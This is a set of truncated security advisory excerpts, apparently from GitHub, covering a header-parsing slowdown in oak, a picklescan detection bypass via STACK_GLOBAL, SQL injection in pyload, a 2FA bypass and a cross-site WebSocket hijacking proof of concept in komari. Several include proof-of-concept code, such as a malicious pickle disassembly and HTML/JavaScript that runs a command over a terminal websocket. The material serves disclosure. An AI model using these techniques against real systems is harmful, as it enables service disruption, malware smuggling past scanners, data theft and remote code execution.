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### Summary With specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server. ### Vulnerable Code - https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87 - https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142 ### PoC - setup ``` deno --version deno 2.4.3 v8 13.7.152.14-rusty typescript 5.8.3 ``` - `server.ts` ```ts import { Application } from "https://deno.land/x/oak/mod.ts"; const app = new Application({proxy: true}); let i = 1 app.use((ctx) => { // let url = ctx.request.url // test1) x-forwarded-proto let ips = ctx.request.ips // test2) x-forwarded-for console.log(`request ${i} received`) i++; ctx.response.body = "hello"; }); await app.listen({ port: 8080 }); ``` - `client.ts` ```ts const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000] const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A'); const data2 = lengths.map(l => 'A' + ' '.repeat(l) + '...

### Details There's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`. Function `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions. Example: ``` 0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range) 6: S STRING 'system' --> arg 1: STRING (tracked argument) 16: \x93 STACK_GLOBAL 17: S STRING 'ls' 23: \x85 TUPLE1 24: R RE...

### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into th...

### Summary Logic error in 2FA verification condition allows bypass of two-factor authentication ### Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/login.go#L55 There is no way for `Verify2Fa` to return an error **AND** true as `ok` at the same time, any codes are considered as valid. ### PoC Use any 6 digits as 2FA code ### Impact Bypass 2FA Authentication

### Summary WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users ### Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35 Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution ### PoC 1. Login in to your komari instance 2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours 3. Visit this HTML page, you can see your node is executing `uptime` without your actions ``` <pre></pre> <script> const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal"); socket.addEventListener("open", (event) => { const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' }); socket.send(binaryBlob); }); socket.addEventListener("message", (event) => { event.data.text().then(x ...